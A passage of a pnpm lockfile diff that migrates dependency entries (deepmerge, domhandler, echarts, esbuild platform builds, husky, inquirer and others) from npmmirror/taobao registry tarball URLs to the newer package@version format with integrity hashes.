dependencies: - ms: registry.npmmirror.com/ms/2.1.2 + js-yaml: 3.14.1 + kind-of: 6.0.3 + section-matter: 1.0.0 + strip-bom-string: 1.0.0 dev: true - registry.npmmirror.com/deepmerge/4.2.2: - resolution: {integrity: sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/deepmerge/-/deepmerge-4.2.2.tgz} - name: deepmerge - version: 4.2.2 - engines: {node: '>=0.10.0'} + /hanabi@0.4.0: + resolution: {integrity: sha512-ixJH94fwmmVzUSdxl7TMkVZJmsq4d2JKrxedpM5V1V+91iVHL0q6NnJi4xiDahK6Vo00xT17H8H6b4F6RVbsOg==} + dependencies: + comment-regex: 1.0.1 dev: true - registry.npmmirror.com/defaults/1.0.3: - resolution: {integrity: sha512-s82itHOnYrN0Ib8r+z7laQz3sdE+4FP3d9Q7VLO7U+KRT+CR0GsWuyHxzdAY82I7cXv0G/twrqomTJLOssO5HA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/defaults/-/defaults-1.0.3.tgz} - name: defaults - version: 1.0.3 - dependencies: - clone: registry.npmmirror.com/clone/1.0.4 + /hard-rejection@2.1.0: + resolution: {integrity: sha512-VIZB+ibDhx7ObhAe7OVtoEbuP4h/MuOTHJ+J8h/eBXotJYl0fBgR72xDFCKgIh22OJZIOVNxBMWuhAr10r8HdA==} + engines: {node: '>=6'} dev: true - registry.npmmirror.com/define-properties/1.1.4: - resolution: {integrity: sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/define-properties/-/define-properties-1.1.4.tgz} - name: define-properties - version: 1.1.4 - engines: {node: '>= 0.4'} - dependencies: - has-property-descriptors: registry.npmmirror.com/has-property-descriptors/1.0.0 - object-keys: registry.npmmirror.com/object-keys/1.1.1 + /has-bigints@1.0.2: + resolution: {integrity: sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==} dev: true - registry.npmmirror.com/delaunator/5.0.0: - resolution: {integrity: sha512-AyLvtyJdbv/U1GkiS6gUUzclRoAY4Gs75qkMygJJhU75LW4DNuSF2RMzpxs9jw9Oz1BobHjTdkG3zdP55VxAqw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/delaunator/-/delaunator-5.0.0.tgz} - name: delaunator - version: 5.0.0 - dependencies: - robust-predicates: registry.npmmirror.com/robust-predicates/3.0.1 + /has-flag@3.0.0: + resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} + engines: {node: '>=4'} dev: true - registry.npmmirror.com/dir-glob/3.0.1: - resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dir-glob/-/dir-glob-3.0.1.tgz} - name: dir-glob - version: 3.0.1 + /has-flag@4.0.0: + resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} engines: {node: '>=8'} - dependencies: - path-type: registry.npmmirror.com/path-type/4.0.0 dev: true - registry.npmmirror.com/dom-serializer/1.4.1: - resolution: {integrity: sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dom-serializer/-/dom-serializer-1.4.1.tgz} - name: dom-serializer - version: 1.4.1 + /has-property-descriptors@1.0.0: + resolution: {integrity: sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==} dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/4.3.1 - entities: registry.npmmirror.com/entities/2.2.0 + get-intrinsic: 1.1.1 dev: true - registry.npmmirror.com/dom-serializer/2.0.0: - resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dom-serializer/-/dom-serializer-2.0.0.tgz} - name: dom-serializer - version: 2.0.0 - dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/5.0.3 - entities: registry.npmmirror.com/entities/4.4.0 + /has-symbols@1.0.3: + resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==} + engines: {node: '>= 0.4'} dev: true - registry.npmmirror.com/domelementtype/2.3.0: - resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/domelementtype/-/domelementtype-2.3.0.tgz} - name: domelementtype - version: 2.3.0 + /has-tostringtag@1.0.0: + resolution: {integrity: sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==} + engines: {node: '>= 0.4'} + dependencies: + has-symbols: 1.0.3 dev: true - registry.npmmirror.com/domhandler/3.3.0: - resolution: {integrity: sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/domhandler/-/domhandler-3.3.0.tgz} - name: domhandler - version: 3.3.0 - engines: {node: '>= 4'} + /has@1.0.3: + resolution: {integrity: sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==} + engines: {node: '>= 0.4.0'} dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 + function-bind: 1.1.1 dev: true - registry.npmmirror.com/domhandler/4.3.1: - resolution: {integrity: sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/domhandler/-/domhandler-4.3.1.tgz} - name: domhandler - version: 4.3.1 - engines: {node: '>= 4'} - dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 + /hash-sum@2.0.0: + resolution: {integrity: sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==} dev: true - registry.npmmirror.com/domhandler/5.0.3: - resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/domhandler/-/domhandler-5.0.3.tgz} - name: domhandler - version: 5.0.3 - engines: {node: '>= 4'} - dependencies: - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 + /he@0.5.0: + resolution: {integrity: sha512-DoufbNNOFzwRPy8uecq+j+VCPQ+JyDelHTmSgygrA5TsR8Cbw4Qcir5sGtWiusB4BdT89nmlaVDhSJOqC/33vw==} + hasBin: true dev: true - registry.npmmirror.com/dompurify/2.4.0: - resolution: {integrity: sha512-Be9tbQMZds4a3C6xTmz68NlMfeONA//4dOavl/1rNw50E+/QO0KVpbcU0PcaW0nsQxurXls9ZocqFxk8R2mWEA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/dompurify/-/dompurify-2.4.0.tgz} - name: dompurify - version: 2.4.0 + /heap@0.2.7: + resolution: {integrity: sha512-2bsegYkkHO+h/9MGbn6KWcE45cHZgPANo5LXF7EvWdT0yT2EguSVO1nDgU5c8+ZOPwp2vMNa7YFsJhVcDR9Sdg==} dev: true - registry.npmmirror.com/domutils/2.8.0: - resolution: {integrity: sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/domutils/-/domutils-2.8.0.tgz} - name: domutils - version: 2.8.0 - dependencies: - dom-serializer: registry.npmmirror.com/dom-serializer/1.4.1 - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/4.3.1 + /hls.js@1.4.8: + resolution: {integrity: sha512-wYL7W49M6oKv0+P4RW50YkJaxDzgnHMMrN+YoLpow07hVgaedAdX9HfKkehTb04UEfeJhNSef5ucICYPsHOfqg==} dev: true - registry.npmmirror.com/domutils/3.0.1: - resolution: {integrity: sha512-z08c1l761iKhDFtfXO04C7kTdPBLi41zwOZl00WS8b5eiaebNpY00HKbztwBq+e3vyqWNwWF3mP9YLUeqIrF+Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/domutils/-/domutils-3.0.1.tgz} - name: domutils - version: 3.0.1 + /homedir-polyfill@1.0.3: + resolution: {integrity: sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==} + engines: {node: '>=0.10.0'} dependencies: - dom-serializer: registry.npmmirror.com/dom-serializer/2.0.0 - domelementtype: registry.npmmirror.com/domelementtype/2.3.0 - domhandler: registry.npmmirror.com/domhandler/5.0.3 + parse-passwd: 1.0.0 dev: true - registry.npmmirror.com/echarts/5.4.0: - resolution: {integrity: sha512-uPsO9VRUIKAdFOoH3B0aNg7NRVdN7aM39/OjovjO9MwmWsAkfGyeXJhK+dbRi51iDrQWliXV60/XwLA7kg3z0w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/echarts/-/echarts-5.4.0.tgz} - name: echarts - version: 5.4.0 - dependencies: - tslib: registry.npmmirror.com/tslib/2.3.0 - zrender: registry.npmmirror.com/zrender/5.4.0 + /hosted-git-info@2.8.9: + resolution: {integrity: sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==} dev: true - registry.npmmirror.com/ejs/3.1.7: - resolution: {integrity: sha512-BIar7R6abbUxDA3bfXrO4DSgwo8I+fB5/1zgujl3HLLjwd6+9iOnrT+t3grn2qbk9vOgBubXOFwX2m9axoFaGw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ejs/-/ejs-3.1.7.tgz} - name: ejs - version: 3.1.7 - engines: {node: '>=0.10.0'} - hasBin: true + /hosted-git-info@4.1.0: + resolution: {integrity: sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==} + engines: {node: '>=10'} dependencies: - jake: registry.npmmirror.com/jake/10.8.5 + lru-cache: 6.0.0 dev: true - registry.npmmirror.com/electron-to-chromium/1.4.284: - resolution: {integrity: sha512-M8WEXFuKXMYMVr45fo8mq0wUrrJHheiKZf6BArTKk9ZBYCKJEOU5H8cdWgDT+qCVZf7Na4lVUaZsA+h6uA9+PA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/electron-to-chromium/-/electron-to-chromium-1.4.284.tgz} - name: electron-to-chromium - version: 1.4.284 + /html-entities@1.4.0: + resolution: {integrity: sha512-8nxjcBcd8wovbeKx7h3wTji4e6+rhaVuPNpMqwWgnHh+N9ToqsCs6XztWRBPQ+UtzsoMAdKZtUENoVzU/EMtZA==} dev: true - registry.npmmirror.com/entities/2.2.0: - resolution: {integrity: sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/entities/-/entities-2.2.0.tgz} - name: entities - version: 2.2.0 + /htmlparser2@8.0.1: + resolution: {integrity: sha512-4lVbmc1diZC7GUJQtRQ5yBAeUCL1exyMwmForWkRLnwyzWBFxN633SALPMGYaWZvKe9j1pRZJpauvmxENSp/EA==} + dependencies: + domelementtype: 2.3.0 + domhandler: 5.0.3 + domutils: 3.0.1 + entities: 4.4.0 dev: true - registry.npmmirror.com/entities/3.0.1: - resolution: {integrity: sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/entities/-/entities-3.0.1.tgz} - name: entities - version: 3.0.1 - engines: {node: '>=0.12'} + /human-signals@2.1.0: + resolution: {integrity: sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw==} + engines: {node: '>=10.17.0'} dev: true - registry.npmmirror.com/entities/4.4.0: - resolution: {integrity: sha512-oYp7156SP8LkeGD0GF85ad1X9Ai79WtRsZ2gxJqtBuzH+98YUV6jkHEKlZkMbcrjJjIVJNIDP/3WL9wQkoPbWA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/entities/-/entities-4.4.0.tgz} - name: entities - version: 4.4.0 - engines: {node: '>=0.12'} + /human-signals@4.3.1: + resolution: {integrity: sha512-nZXjEF2nbo7lIw3mgYjItAfgQXog3OjJogSbKa2CQIIvSGWcKgeJnQlNXip6NglNzYH45nSRiEVimMvYL8DDqQ==} + engines: {node: '>=14.18.0'} dev: true - registry.npmmirror.com/envinfo/7.8.1: - resolution: {integrity: sha512-/o+BXHmB7ocbHEAs6F2EnG0ogybVVUdkRunTT2glZU9XAaGmhqskrvKwqXuDfNjEO0LZKWdejEEpnq8aM0tOaw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/envinfo/-/envinfo-7.8.1.tgz} - name: envinfo - version: 7.8.1 - engines: {node: '>=4'} + /husky@8.0.1: + resolution: {integrity: sha512-xs7/chUH/CKdOCs7Zy0Aev9e/dKOMZf3K1Az1nar3tzlv0jfqnYtu235bstsWTmXOR0EfINrPa97yy4Lz6RiKw==} + engines: {node: '>=14'} hasBin: true dev: true - registry.npmmirror.com/error-ex/1.3.2: - resolution: {integrity: sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/error-ex/-/error-ex-1.3.2.tgz} - name: error-ex - version: 1.3.2 + /iconv-lite@0.4.24: + resolution: {integrity: sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==} + engines: {node: '>=0.10.0'} dependencies: - is-arrayish: registry.npmmirror.com/is-arrayish/0.2.1 + safer-buffer: 2.1.2 dev: true - registry.npmmirror.com/es-abstract/1.20.0: - resolution: {integrity: sha512-URbD8tgRthKD3YcC39vbvSDrX23upXnPcnGAjQfgxXF5ID75YcENawc9ZX/9iTP9ptUyfCLIxTTuMYoRfiOVKA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/es-abstract/-/es-abstract-1.20.0.tgz} - name: es-abstract - version: 1.20.0 - engines: {node: '>= 0.4'} - dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - es-to-primitive: registry.npmmirror.com/es-to-primitive/1.2.1 - function-bind: registry.npmmirror.com/function-bind/1.1.1 - function.prototype.name: registry.npmmirror.com/function.prototype.name/1.1.5 - get-intrinsic: registry.npmmirror.com/get-intrinsic/1.1.1 - get-symbol-description: registry.npmmirror.com/get-symbol-description/1.0.0 - has: registry.npmmirror.com/has/1.0.3 - has-property-descriptors: registry.npmmirror.com/has-property-descriptors/1.0.0 - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 - internal-slot: registry.npmmirror.com/internal-slot/1.0.3 - is-callable: registry.npmmirror.com/is-callable/1.2.4 - is-negative-zero: registry.npmmirror.com/is-negative-zero/2.0.2 - is-regex: registry.npmmirror.com/is-regex/1.1.4 - is-shared-array-buffer: registry.npmmirror.com/is-shared-array-buffer/1.0.2 - is-string: registry.npmmirror.com/is-string/1.0.7 - is-weakref: registry.npmmirror.com/is-weakref/1.0.2 - object-inspect: registry.npmmirror.com/object-inspect/1.12.0 - object-keys: registry.npmmirror.com/object-keys/1.1.1 - object.assign: registry.npmmirror.com/object.assign/4.1.2 - regexp.prototype.flags: registry.npmmirror.com/regexp.prototype.flags/1.4.3 - string.prototype.trimend: registry.npmmirror.com/string.prototype.trimend/1.0.5 - string.prototype.trimstart: registry.npmmirror.com/string.prototype.trimstart/1.0.5 - unbox-primitive: registry.npmmirror.com/unbox-primitive/1.0.2 - dev: true - - registry.npmmirror.com/es-to-primitive/1.2.1: - resolution: {integrity: sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz} - name: es-to-primitive - version: 1.2.1 - engines: {node: '>= 0.4'} + /iconv-lite@0.6.3: + resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + engines: {node: '>=0.10.0'} dependencies: - is-callable: registry.npmmirror.com/is-callable/1.2.4 - is-date-object: registry.npmmirror.com/is-date-object/1.0.5 - is-symbol: registry.npmmirror.com/is-symbol/1.0.4 + safer-buffer: 2.1.2 dev: true - registry.npmmirror.com/esbuild-android-64/0.15.14: - resolution: {integrity: sha512-HuilVIb4rk9abT4U6bcFdU35UHOzcWVGLSjEmC58OVr96q5UiRqzDtWjPlCMugjhgUGKEs8Zf4ueIvYbOStbIg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-android-64/-/esbuild-android-64-0.15.14.tgz} - name: esbuild-android-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [android] - requiresBuild: true + /idb@7.1.1: + resolution: {integrity: sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==} dev: true - optional: true - registry.npmmirror.com/esbuild-android-arm64/0.15.14: - resolution: {integrity: sha512-/QnxRVxsR2Vtf3XottAHj7hENAMW2wCs6S+OZcAbc/8nlhbAL/bCQRCVD78VtI5mdwqWkVi3wMqM94kScQCgqg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-android-arm64/-/esbuild-android-arm64-0.15.14.tgz} - name: esbuild-android-arm64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm64] - os: [android] - requiresBuild: true + /ieee754@1.2.1: + resolution: {integrity: sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==} dev: true - optional: true - registry.npmmirror.com/esbuild-darwin-64/0.15.14: - resolution: {integrity: sha512-ToNuf1uifu8hhwWvoZJGCdLIX/1zpo8cOGnT0XAhDQXiKOKYaotVNx7pOVB1f+wHoWwTLInrOmh3EmA7Fd+8Vg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-darwin-64/-/esbuild-darwin-64-0.15.14.tgz} - name: esbuild-darwin-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [darwin] - requiresBuild: true + /ignore@5.2.4: + resolution: {integrity: sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==} + engines: {node: '>= 4'} dev: true - optional: true - registry.npmmirror.com/esbuild-darwin-arm64/0.15.14: - resolution: {integrity: sha512-KgGP+y77GszfYJgceO0Wi/PiRtYo5y2Xo9rhBUpxTPaBgWDJ14gqYN0+NMbu+qC2fykxXaipHxN4Scaj9tUS1A==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.15.14.tgz} - name: esbuild-darwin-arm64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm64] - os: [darwin] - requiresBuild: true + /immediate@3.0.6: + resolution: {integrity: sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==} dev: true - optional: true - registry.npmmirror.com/esbuild-freebsd-64/0.15.14: - resolution: {integrity: sha512-xr0E2n5lyWw3uFSwwUXHc0EcaBDtsal/iIfLioflHdhAe10KSctV978Te7YsfnsMKzcoGeS366+tqbCXdqDHQA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-freebsd-64/-/esbuild-freebsd-64-0.15.14.tgz} - name: esbuild-freebsd-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [freebsd] - requiresBuild: true + /immutable@4.0.0: + resolution: {integrity: sha512-zIE9hX70qew5qTUjSS7wi1iwj/l7+m54KWU247nhM3v806UdGj1yDndXj+IOYxxtW9zyLI+xqFNZjTuDaLUqFw==} dev: true - optional: true - registry.npmmirror.com/esbuild-freebsd-arm64/0.15.14: - resolution: {integrity: sha512-8XH96sOQ4b1LhMlO10eEWOjEngmZ2oyw3pW4o8kvBcpF6pULr56eeYVP5radtgw54g3T8nKHDHYEI5AItvskZg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.15.14.tgz} - name: esbuild-freebsd-arm64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm64] - os: [freebsd] - requiresBuild: true + /import-fresh@3.3.0: + resolution: {integrity: sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==} + engines: {node: '>=6'} + dependencies: + parent-module: 1.0.1 + resolve-from: 4.0.0 dev: true - optional: true - registry.npmmirror.com/esbuild-linux-32/0.15.14: - resolution: {integrity: sha512-6ssnvwaTAi8AzKN8By2V0nS+WF5jTP7SfuK6sStGnDP7MCJo/4zHgM9oE1eQTS2jPmo3D673rckuCzRlig+HMA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-32/-/esbuild-linux-32-0.15.14.tgz} - name: esbuild-linux-32 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [ia32] - os: [linux] - requiresBuild: true + /imsc@1.1.3: + resolution: {integrity: sha512-IY0hMkVTNoqoYwKEp5UvNNKp/A5jeJUOrIO7judgOyhHT+xC6PA4VBOMAOhdtAYbMRHx9DTgI8p6Z6jhYQPFDA==} + dependencies: + sax: 1.2.1 dev: true - optional: true - registry.npmmirror.com/esbuild-linux-64/0.15.14: - resolution: {integrity: sha512-ONySx3U0wAJOJuxGUlXBWxVKFVpWv88JEv0NZ6NlHknmDd1yCbf4AEdClSgLrqKQDXYywmw4gYDvdLsS6z0hcw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-64/-/esbuild-linux-64-0.15.14.tgz} - name: esbuild-linux-64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [x64] - os: [linux] - requiresBuild: true + /indent-string@4.0.0: + resolution: {integrity: sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==} + engines: {node: '>=8'} dev: true - optional: true - registry.npmmirror.com/esbuild-linux-arm/0.15.14: - resolution: {integrity: sha512-D2LImAIV3QzL7lHURyCHBkycVFbKwkDb1XEUWan+2fb4qfW7qAeUtul7ZIcIwFKZgPcl+6gKZmvLgPSj26RQ2Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-arm/-/esbuild-linux-arm-0.15.14.tgz} - name: esbuild-linux-arm - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm] - os: [linux] - requiresBuild: true + /inflight@1.0.6: + resolution: {integrity: sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=} + dependencies: + once: 1.4.0 + wrappy: 1.0.2 dev: true - optional: true - registry.npmmirror.com/esbuild-linux-arm64/0.15.14: - resolution: {integrity: sha512-kle2Ov6a1e5AjlHlMQl1e+c4myGTeggrRzArQFmWp6O6JoqqB9hT+B28EW4tjFWgV/NxUq46pWYpgaWXsXRPAg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-arm64/-/esbuild-linux-arm64-0.15.14.tgz} - name: esbuild-linux-arm64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [arm64] - os: [linux] - requiresBuild: true + /inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} dev: true - optional: true - registry.npmmirror.com/esbuild-linux-mips64le/0.15.14: - resolution: {integrity: sha512-FVdMYIzOLXUq+OE7XYKesuEAqZhmAIV6qOoYahvUp93oXy0MOVTP370ECbPfGXXUdlvc0TNgkJa3YhEwyZ6MRA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.15.14.tgz} - name: esbuild-linux-mips64le - version: 0.15.14 - engines: {node: '>=12'} - cpu: [mips64el] - os: [linux] - requiresBuild: true + /ini@1.3.8: + resolution: {integrity: sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==} dev: true - optional: true - registry.npmmirror.com/esbuild-linux-ppc64le/0.15.14: - resolution: {integrity: sha512-2NzH+iuzMDA+jjtPjuIz/OhRDf8tzbQ1tRZJI//aT25o1HKc0reMMXxKIYq/8nSHXiJSnYV4ODzTiv45s+h73w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.15.14.tgz} - name: esbuild-linux-ppc64le - version: 0.15.14 - engines: {node: '>=12'} - cpu: [ppc64] - os: [linux] - requiresBuild: true + /inquirer@6.5.2: + resolution: {integrity: sha512-cntlB5ghuB0iuO65Ovoi8ogLHiWGs/5yNrtUcKjFhSSiVeAIVpD7koaSU9RM8mpXw5YDi9RdYXGQMaOURB7ycQ==} + engines: {node: '>=6.0.0'} + dependencies: + ansi-escapes: 3.2.0 + chalk: 2.4.2 + cli-cursor: 2.1.0 + cli-width: 2.2.1 + external-editor: 3.1.0 + figures: 2.0.0 + lodash: 4.17.21 + mute-stream: 0.0.7 + run-async: 2.4.1 + rxjs: 6.6.7 + string-width: 2.1.1 + strip-ansi: 5.2.0 + through: 2.3.8 dev: true - optional: true - registry.npmmirror.com/esbuild-linux-riscv64/0.15.14: - resolution: {integrity: sha512-VqxvutZNlQxmUNS7Ac+aczttLEoHBJ9e3OYGqnULrfipRvG97qLrAv9EUY9iSrRKBqeEbSvS9bSfstZqwz0T4Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/esbuild-linux-riscv64/-/esbuild-linux-riscv64-0.15.14.tgz} - name: esbuild-linux-riscv64 - version: 0.15.14 - engines: {node: '>=12'} - cpu: [riscv64] - os: [linux] - requiresBuild: true + /insane@2.6.2: + resolution: {integrity: sha512-BqEL1CJsjJi+/C/zKZxv31zs3r6zkLH5Nz1WMFb7UBX2KHY2yXDpbFTSEmNHzomBbGDysIfkTX55A0mQZ2CQiw==} + dependencies: + assignment: 2.0.0 + he: 0.5.0 dev: true - optional: true - registry.npmmirror.com/esbuild-linux-s390x/0.15.14: - resolution: {integrity: sha512-+KVHEUshX5n6VP6Vp/AKv9fZIl5kr2ph8EUFmQUJnDpHwcfTSn2AQgYYm0HTBR2Mr4d0Wlr0FxF/Cs5pbFgiOw==, registry: https://registry.npm.taobao.org/, tarball: 